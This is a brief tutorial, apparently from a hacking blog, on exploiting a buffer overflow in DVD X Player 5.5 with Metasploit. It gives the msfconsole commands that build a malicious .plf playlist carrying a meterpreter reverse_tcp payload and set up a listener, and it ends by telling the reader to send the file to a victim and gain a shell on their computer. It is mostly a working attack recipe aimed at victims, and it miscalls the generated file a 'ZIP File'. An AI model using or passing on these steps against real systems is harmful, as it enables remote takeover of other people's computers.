This module exploits a stack-based buffer overflow on DVD X Player 5.5 Pro and Standard. By supplying a long string of data in a plf file (playlist), the MediaPlayerCtrl.dll component will attempt to extract a filename out of the string, and then copy it on the stack without any proper bounds checking, which casues a buffer overflow, and results arbitrary code execution under the context of the user. This module has been designed to target common Windows systems such as: Windows XP SP2/SP3, Windows Vista, and Windows 7.
Exploit Targets
DVD X Player 5.5 Pro
Windows XP SP 2
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/fileformat/dvdx_plf_bof
Msf exploit (dvdx_plf_bof)>set payload windows/meterpreter/reverse_tcp
Msf exploit (dvdx_plf_bof)>set lhost 192.168.1.3 (IP of Local Host)
Msf exploit (dvdx_plf_bof)>exploit
After we successfully generate the malicious ZIP File, it will stored on your local computer
/root/.msf4/local/msf.plf
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.3
exploit
Now send your msf.plf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
